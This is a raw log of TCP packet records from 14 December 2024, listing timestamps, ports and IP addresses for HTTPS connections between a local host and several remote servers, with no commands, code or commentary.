                                                                                                                                          Dec 14, 2024 13:59:39.865818977 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:39.865828991 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.977894068 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:39.977951050 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:39.978033066 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:39.978379965 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:39.978394032 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:40.501862049 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:40.501935959 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:40.502032042 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:40.502281904 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:40.502300024 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.582320929 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.588359118 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:41.588427067 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.589054108 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.592032909 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:41.592164993 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.592226028 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:41.635340929 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.667411089 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:41.674415112 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.675698042 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:41.675733089 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.676773071 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.676831007 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:41.678081036 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:41.678147078 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.785681009 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:41.785721064 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:41.892925978 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:42.217932940 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.228939056 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:42.228972912 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.229406118 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.230453014 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:42.230518103 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.230658054 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:42.271332026 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.861231089 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.909748077 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.909801960 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.909843922 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:42.909885883 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:42.909908056 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:42.909938097 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.070082903 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.070172071 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.070238113 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.070311069 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.070466042 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.121627092 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.121661901 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.121717930 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.121747971 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.121767998 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.121786118 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.245351076 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.245378971 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.245450974 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.245497942 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.245523930 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.245548010 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.272941113 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.272978067 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.273051023 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.273081064 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.273133993 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.299375057 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.299412966 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.299458027 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.299472094 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.299489975 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.299518108 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.317138910 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.317198992 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.317231894 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.317245960 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.317286015 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.433022976 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.433073044 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.439899921 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.439918995 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.439944983 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.439965963 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.439974070 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.439975023 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.440001011 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.440010071 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.440025091 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.440043926 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.453125954 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.453178883 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.453197956 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.453198910 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.453221083 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.453234911 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.453237057 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.453264952 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.468966961 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.469001055 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.469038963 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.469041109 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.469063044 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.469079018 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.469115019 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.482827902 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.482861042 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.482902050 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.482913017 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.482947111 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.496371031 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.496407032 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.496454000 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.496489048 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.496510983 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.511032104 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.511063099 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.511110067 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.511148930 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.511167049 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.524899960 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.524938107 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.524997950 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.525032043 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.525053024 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.550971985 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:43.551022053 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.551175117 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:43.576112986 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:43.576150894 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.629836082 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.629867077 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.629936934 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.629977942 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.630002975 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.641489029 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.641505003 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.641529083 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.641535997 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.641549110 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.641571045 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.641596079 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.653723955 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.653768063 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.653781891 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.653795004 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.653808117 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.653825045 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.653852940 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.664805889 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.664859056 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.664874077 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.664879084 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.664896011 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.664911985 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.664913893 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.664947987 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.666160107 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.666172028 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.666197062 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.666210890 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.666222095 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.666249990 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.674124956 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.674154043 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.674201965 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.674211979 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.674247980 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.674268961 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.679356098 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.679420948 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.679430008 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.679445982 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.679496050 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.679744959 CET49729443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.679760933 CET44349729108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.835942030 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.835964918 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.835992098 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.835999012 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.836019993 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.836047888 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.836066961 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:43.836081982 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:43.836122036 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:44.230026007 CET49727443192.168.2.11108.158.75.92
                                                                                                                                          Dec 14, 2024 13:59:44.230040073 CET44349727108.158.75.92192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:45.240945101 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:45.241013050 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:45.245127916 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:45.245140076 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:45.245436907 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:45.258007050 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:45.303333044 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.191535950 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.191593885 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.191636086 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.191668987 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.191704035 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.191720963 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.191782951 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.238311052 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.238363028 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.238389969 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.238425016 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.238451004 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.337330103 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.408399105 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.408442974 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.408477068 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.408494949 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.408515930 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.408526897 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.408549070 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.408549070 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.408565998 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.408587933 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.434880972 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.434902906 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.434942961 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.434947014 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.434969902 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.434994936 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.435019016 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.466278076 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.466308117 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.466392040 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.466413975 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.466469049 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.466485977 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.496212006 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.496248007 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.496288061 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.496309042 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.496345997 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.496367931 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.624520063 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.624552011 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.624603033 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.624634981 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.624665976 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.624685049 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.646424055 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.646492004 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.646517992 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.646545887 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.646562099 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.646579981 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.663115025 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.663146973 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.663244009 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.663265944 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.663292885 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.663321018 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.674129009 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.674156904 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.674297094 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.674314022 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.674354076 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.684916973 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.684943914 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.685039043 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.685055971 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.685095072 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.696413040 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.696430922 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.696502924 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.696525097 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.696542978 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.696558952 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.708300114 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.708344936 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.708390951 CET4434973745.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:46.708396912 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:46.708453894 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:47.156771898 CET49676443192.168.2.1120.189.173.3
                                                                                                                                          Dec 14, 2024 13:59:47.526438951 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:48.163455963 CET49737443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 13:59:51.369676113 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:51.369740009 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:51.370141983 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:53.353343010 CET49728443192.168.2.11142.250.181.132
                                                                                                                                          Dec 14, 2024 13:59:53.353389978 CET44349728142.250.181.132192.168.2.11
                                                                                                                                          Dec 14, 2024 13:59:58.924052000 CET49707443192.168.2.11173.222.162.42
                                                                                                                                          Dec 14, 2024 13:59:59.044990063 CET44349707173.222.162.42192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:01.002413988 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:01.002454042 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:01.006552935 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:01.025316954 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:01.025351048 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:02.674268961 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:02.674369097 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:02.678162098 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:02.678170919 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:02.678435087 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:02.695445061 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:02.739336967 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.651582956 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.651618958 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.651629925 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.651648998 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.651696920 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.651715994 CET49782443192.168.2.1145.125.67.168
                                                                                                                                          Dec 14, 2024 14:00:03.651732922 CET4434978245.125.67.168192.168.2.11
                                                                                                                                          Dec 14, 2024 14:00:03.651797056 CET49782443192.168.2.1145.125.67.168
